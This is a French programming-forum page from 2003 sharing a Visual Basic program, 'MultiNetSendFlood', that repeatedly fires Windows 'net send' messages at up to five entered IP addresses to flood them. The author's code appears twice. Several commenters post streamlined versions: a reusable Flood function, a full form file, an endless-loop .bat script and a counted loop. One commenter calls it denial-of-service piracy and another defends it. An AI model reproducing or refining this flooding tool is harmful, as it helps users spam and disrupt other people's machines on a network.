MULTINETSENDFLOOD , Source N°16822

Information sur la source

Catégorie :Divers Niveau : Débutant Date de création : 02/10/2003 Vu / téléchargé: 9 001 / 1 215

Auteur : Sibelle07

Site perso

Ecrire un message privé

Note :

5,14 / 10

1
2
3
4
5
6
7
8
9
10

Commentaire sur cette source (16)

Ajouter un commentaire et/ou une note

Description

Cliquez pour voir la capture en taille normale

Se code sert a envoyé une multitude de message brut par net send
on peut flooder jusque a 5 ip
dans la deuxieme version je placerait 10 ip
et des options supplémentaire genre :
*anonyme
*Le choix de choisir combien de fois
*et surement d'autre chose mais pour cela je vais esseiller de trouver plusieurs source qui saurait m'aider a créer la deuxieme version
je place un zip une capture et
je vous laisse le code :

Source

Private Sub Command1_Click()
Form1.Caption = Clear
If ip1.Text = "" Then
MsgBox "Pas d'ip dans le champ ip1 !!!"
Else
Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
MsgBox "Pas d'ip dans le champ ip1 !!!"
Else
Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
MsgBox "Pas d'ip dans le champ ip1 !!!"
Else
Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
MsgBox "Pas d'ip dans le champ ip1 !!!"
Else
Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
MsgBox "Pas d'ip dans le champ ip1 !!!"
Else
Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
End Sub
Private Sub Command2_Click()
Form1.Caption = Clear
If ip2.Text = "" Then
MsgBox "Pas d'ip dans le champ ip2 !!!"
Else
Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
MsgBox "Pas d'ip dans le champ ip2 !!!"
Else
Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
MsgBox "Pas d'ip dans le champ ip2 !!!"
Else
Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
MsgBox "Pas d'ip dans le champ ip2 !!!"
Else
Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
MsgBox "Pas d'ip dans le champ ip2 !!!"
Else
Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
End Sub
Private Sub Command3_Click()
Form1.Caption = Clear
If ip3.Text = "" Then
MsgBox "Pas d'ip dans le champ ip3 !!!"
Else
Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
MsgBox "Pas d'ip dans le champ ip3 !!!"
Else
Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
MsgBox "Pas d'ip dans le champ ip3 !!!"
Else
Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
MsgBox "Pas d'ip dans le champ ip3 !!!"
Else
Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
MsgBox "Pas d'ip dans le champ ip3 !!!"
Else
Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
End Sub
Private Sub Command4_Click()
Form1.Caption = Clear
If ip4.Text = "" Then
MsgBox "Pas d'ip dans le champ ip4 !!!"
Else
Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
MsgBox "Pas d'ip dans le champ ip4 !!!"
Else
Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
MsgBox "Pas d'ip dans le champ ip4 !!!"
Else
Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
MsgBox "Pas d'ip dans le champ ip4 !!!"
Else
Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
MsgBox "Pas d'ip dans le champ ip4 !!!"
Else
Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
End Sub
Private Sub Command5_Click()
If ip5.Text = "" Then
MsgBox "Pas d'ip dans le champ ip5 !!!"
Else
Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
MsgBox "Pas d'ip dans le champ ip5 !!!"
Else
Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
MsgBox "Pas d'ip dans le champ ip5 !!!"
Else
Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
MsgBox "Pas d'ip dans le champ ip5 !!!"
Else
Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
MsgBox "Pas d'ip dans le champ ip5 !!!"
Else
Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
End Sub
Private Sub Command6_Click()
'Début du flood ip (1 ere fois) :
Shell "Net send " + ip1.Text + " " + msg.Text
Shell "Net send " + ip2.Text + " " + msg.Text
Shell "Net send " + ip3.Text + " " + msg.Text
Shell "Net send " + ip4.Text + " " + msg.Text
Shell "Net send " + ip5.Text + " " + msg.Text
'Début du flood ip (2 eme fois) :
Shell "Net send " + ip1.Text + " " + msg.Text
Shell "Net send " + ip2.Text + " " + msg.Text
Shell "Net send " + ip3.Text + " " + msg.Text
Shell "Net send " + ip4.Text + " " + msg.Text
Shell "Net send " + ip5.Text + " " + msg.Text
'Début du flood ip (3 eme fois) :
Shell "Net send " + ip1.Text + " " + msg.Text
Shell "Net send " + ip2.Text + " " + msg.Text
Shell "Net send " + ip3.Text + " " + msg.Text
Shell "Net send " + ip4.Text + " " + msg.Text
Shell "Net send " + ip5.Text + " " + msg.Text
'Début du flood ip (4 eme fois) :
Shell "Net send " + ip1.Text + " " + msg.Text
Shell "Net send " + ip2.Text + " " + msg.Text
Shell "Net send " + ip3.Text + " " + msg.Text
Shell "Net send " + ip4.Text + " " + msg.Text
Shell "Net send " + ip5.Text + " " + msg.Text
'Début du flood ip (5eme fois) :
Shell "Net send " + ip1.Text + " " + msg.Text
Shell "Net send " + ip2.Text + " " + msg.Text
Shell "Net send " + ip3.Text + " " + msg.Text
Shell "Net send " + ip4.Text + " " + msg.Text
Shell "Net send " + ip5.Text + " " + msg.Text
'Fin du flood ip
End Sub
Private Sub Command7_Click()
Unload Me
End Sub
Private Sub Command8_Click()
Form2.Show
End Sub

Private Sub Command1_Click()
Form1.Caption = Clear
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
If ip1.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip1 !!!"
    Else
     Shell "Net send " + ip1.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip1.Text & ""
End If
End Sub

Private Sub Command2_Click()
Form1.Caption = Clear
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
If ip2.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip2 !!!"
    Else
     Shell "Net send " + ip2.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip2.Text & ""
End If
End Sub

Private Sub Command3_Click()
Form1.Caption = Clear
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
If ip3.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip3 !!!"
    Else
     Shell "Net send " + ip3.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip3.Text & ""
End If
End Sub

Private Sub Command4_Click()
Form1.Caption = Clear
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
If ip4.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip4 !!!"
    Else
     Shell "Net send " + ip4.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip4.Text & ""
End If
End Sub

Private Sub Command5_Click()
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
If ip5.Text = "" Then
    MsgBox "Pas d'ip dans le champ ip5 !!!"
    Else
     Shell "Net send " + ip5.Text + " " + msg.Text
Form1.Caption = "" & Form1.Caption & " a bien envoyer le flood a " & ip5.Text & ""
End If
End Sub

Private Sub Command6_Click()
'Début du flood ip (1 ere fois) :
 Shell "Net send " + ip1.Text + " " + msg.Text
  Shell "Net send " + ip2.Text + " " + msg.Text
   Shell "Net send " + ip3.Text + " " + msg.Text
    Shell "Net send " + ip4.Text + " " + msg.Text
     Shell "Net send " + ip5.Text + " " + msg.Text
     'Début du flood ip (2 eme fois) :
      Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Début du flood ip (3 eme fois) :
              Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Début du flood ip (4 eme fois) :
              Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Début du flood ip (5eme fois) :
              Shell "Net send " + ip1.Text + " " + msg.Text
       Shell "Net send " + ip2.Text + " " + msg.Text
        Shell "Net send " + ip3.Text + " " + msg.Text
         Shell "Net send " + ip4.Text + " " + msg.Text
          Shell "Net send " + ip5.Text + " " + msg.Text
          'Fin du flood ip
End Sub

Private Sub Command7_Click()
Unload Me
End Sub

Private Sub Command8_Click()
Form2.Show
End Sub

Conclusion

Si y aurait moyen de m'aider envoyer moi un mail dans ma boite codes sources !!!
Merci.

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Form1.frm 14 369 octets
Form1.frx1 829 octets
Form2.frm 1 135 octets
Form2.frx2 562 octets
MSSCCPRJ.SCC202 octets
MultiNetSendFlood.vbp 1 001 octets

Télécharger le zip

Sources du même auteur

Toutes les sources de Sibelle07

Sources de la même categorie

Toutes les sources de la catégorie Divers

Commentaires

Commentaire de Renfield le 02/10/2003 18:44:54 administrateur CS

Tu connais les groupes de controle ??

C'est simple, il s'agit de tableaux de controles ( textbox, boutons...)
l'avantage en est fort simple, on ne copie colle pas 200 fois le même code !!! Pour cela, affecte une valeur a la propriete Index de tes texboxes, Boutons.

En plus de ca, ton code se repete tout le temps, non, vraiment, c'est très loin d'être optimise.....
Commentaire de MasterProg2003 le 02/10/2003 18:58:35

Moi je trouve sa sympa !
Mais domage que le code est repeté :s
je mets 6/10
Commentaire de Sibelle07 le 02/10/2003 19:00:21

Oui! Mais je ne vois pas comment faire de mieux !!!
Si au moin on pourrait m'aider !!!
tu sais m'aider MasterProg2003 ?
Commentaire de MasterProg2003 le 02/10/2003 19:01:59

Je suis désolé je suis encore un débutant en visual basic
je ne connait pas beaucoup !!!
Lol !
Ben va sur le forum certain t'aideront peut etre ;-)
a+
Commentaire de ICIoBRa le 02/10/2003 19:15:19

Une petite info, o lieu de test Form1.Caption et tout ce bordel tu peux mettre des " dans une chaine de caractère en l'insérant deux fois o lieu d'une. Si tu le places en premier ou en dernier de ta chaine de caractère, il y en aura donc 3.
Bonne continuation
+²
Commentaire de Spectrum le 03/10/2003 10:42:44

Le code est répétitif, tu teste 5 fois la même chose dans tes sub correspondantes au boutons de commande. Utilises une boucle For ou un Do While, tu gagneras grandement en lisibilité. Sinon, tu pourrais créer une fonction flood que tu appelerais à partir de tes Subs.

En utilisant ca + des groupes de contrôle on peut résumer ton code comme ca :

Private Function Flood(ip As String, sdcount As Integer, msg As String) As String
    Dim i
    i = 1
    For i = 1 To sdcount
        Shell "Net Send " & ip & " " & msg
    Next i
    Flood = sdcount & " messages envoyés à " & ip
End Function

Private Sub Command1_Click(Index As Integer)
    Dim result
    Dim sdcount As Integer
    sdcount = 3
    result = Flood(ip(Index).Text, sdcount, msg.Text)
    MsgBox result
End Sub
Commentaire de Sibelle07 le 03/10/2003 14:43:41

Il y a des erreurs la dedans !!!
:s
Tu a surement oublier des trucs ou tu t'es gouré dans la source !!!
Spectrum !!!
Commentaire de Spectrum le 03/10/2003 14:49:27

En effet le source est pas complet, il te faut une form avec autant de textBox ip ayant comme nom "ip" avec un index pour chacune ainsi que des boutons ayant pour nom Command1 (idem pour les index). Sur le principe, tu met le bouton index 1 avec le textbox index 1 et ainsi de suite. Il te faut également un textbox appelé "msg". Mais bon c'est implicite en lisant le code. La source fonctionne, je l'ai fait en local. Si tu la veut dis le moi je te l'envoie.
Commentaire de Sibelle07 le 03/10/2003 14:50:54

oui sa m'interrese ;-)
Commentaire de Spectrum le 03/10/2003 15:10:25

J'ai pas ton mail, donc je te met tout le code en vrac :

Form1.frm

---------------------------------------------
VERSION 5.00
Begin VB.Form Form1
   Caption         =   "Form1"
   ClientHeight    =   3195
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3195
   ScaleWidth      =   4680
   StartUpPosition =   3  'Windows Default
   Begin VB.TextBox msg
      Height          =   1575
      Left            =   120
      TabIndex        =   4
      Text            =   "Text2"
      Top             =   1440
      Width           =   3975
   End
   Begin VB.TextBox ip
      Height          =   375
      Index           =   1
      Left            =   120
      TabIndex        =   3
      Text            =   "Text1"
      Top             =   480
      Width           =   2415
   End
   Begin VB.TextBox ip
      Height          =   375
      Index           =   0
      Left            =   120
      TabIndex        =   2
      Text            =   "Text1"
      Top             =   960
      Width           =   2415
   End
   Begin VB.CommandButton Command1
      Caption         =   "Command1"
      Height          =   375
      Index           =   1
      Left            =   2760
      TabIndex        =   1
      Top             =   480
      Width           =   1335
   End
   Begin VB.CommandButton Command1
      Caption         =   "Command1"
      Height          =   375
      Index           =   0
      Left            =   2760
      TabIndex        =   0
      Top             =   960
      Width           =   1335
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Function Flood(ip As String, sdcount As Integer, msg As String) As String
    Dim i
    i = 1
    For i = 1 To sdcount
        Shell "Net Send " & ip & " " & msg
    Next i
    Flood = sdcount & " messages envoyés à " & ip
End Function

Private Sub Command1_Click(Index As Integer)
    Dim result
    Dim sdcount As Integer
    sdcount = 3
    If ip(Index).Text <> "" Then
        result = Flood(ip(Index).Text, sdcount, msg.Text)
        MsgBox result
    Else
        MsgBox "Le champ ip(" & Index & ") est vide !"
    End If

End Sub
----------------------------------------------

avec ca tu dois t'en sortir
Commentaire de DocteurVB le 04/10/2003 22:07:10

sinon tu vas dans le bloc note tu tape

: etiquette
net send 10.20.30.50 message bidon
goto etiquette

tu l'enregistre en .bat et tu l'éxécute ça fait la même chose mais que sur une seul ip mais bon comme ça ne sert pas à grand chose à la base...

Remarque : l'ip que j'ai mise est bidon... bien entendu...
Commentaire de kimmelf2 le 06/10/2003 00:23:30

Pour les groupes de controle :

Comme tu le vois dans le message de Spectrum, il y a 2 textboxs identiques a part leur champ index. Il te suffit d'utiliser cette valeur comme un indice de tableau

Pour creer les groupes de controle(dans le cas d'un bouton par exemple), tu place ton premier bouton, tu lui donne tous les params voulus. Ensuite, tu le selectionne et tu fais des copier/coller. Si tu regarde les params de chaque bouton cree, tout sera pareil sauf la valeur index qui s'incrementera.
Commentaire de Droops le 27/02/2004 08:22:10

Salut à tous et toutes,

désolé d'être un rabat-joie mais si effectivement le code peut être revu (les groupes sont une bonne solution, peut-être y-en-a-t-il d'autres, ...). L 'objectif de ce code n'a rien avoir avec du développement. Flood, en VO veut dire inonder. Bref vous êtes entrain de cautionner une technique de piratage informatique appelée de Déni de Service. Dommage ... pour moi (et cela n'engage que moi) développer rime avec créer ... pas avec détruire ou casser. Il y a d'autres sujets pour développer qu'attaquer des IP avec une technique qui, si on se penche un peu sur le problème de la sécurité informatique, manque de sérieux. Je le répète, désolé d'être celui qui la ramène avec ma morale à 0,33 ? ... mais là : ca craint un peu. Rien de perso. Je trouve juste qu'il y a mieux à faire.
Commentaire de lefreemand32 le 13/03/2004 12:53:52

je suis pas oki avec toi droops, tous les grand developpeur on souvent commnecer par du piratage de bas niveau et je ne considere pas le net send comme une forme de piratage mais comme un entrainement au reseau donc moi je trouve le principe de son prog tres sympas j'aimerai bcp pouvoir t'aider mais en vb moi aussi mes connaissance sont limiter dc si je peu me permettre de metre une note je metrai un 15/20 car faut du courage et de l'ambition pour ce prtit prog
:-) ===> lefreemand32
Commentaire de B0mbJacK le 11/05/2004 13:04:02

y'a plus simple!!

---------------------------------------------------------------------
Private Sub envoi_Click()
If Text.Text <> "" And txtip <> "" And nbr.Text <> "" Then
Dim i As Integer
For i = 0 To nbr.Text - 1
Shell "Net send" + txtip.Text + " " + Text.Text
Next i
lbl.Caption = "Nombre de message envoyés : " & (i)
Else
MsgBox ("rempli déjà le formulaire avant d'envoyer")
End If
End Sub
------------------------------------------------------------
si tu veux flooder plusieurs ips en meme temps tu rajoute

Shell "Net send" + txtip2.Text + " " + Text.Text
Shell "Net send" + txtip3.Text + " " + Text.Text

etc.....dans la boucle
voilà gros!! bonne continuation
Commentaire de Calibrus le 04/03/2007 15:52:24

veuillez svp expliquer comment activer le code sur mirc, on s'y connait pas tous en la matiere, un peu d'aide et plus de details nous fera du bien. un bon code c tres bien, mais il faut aussi savoir l'activer et s'en servir. merci d'avance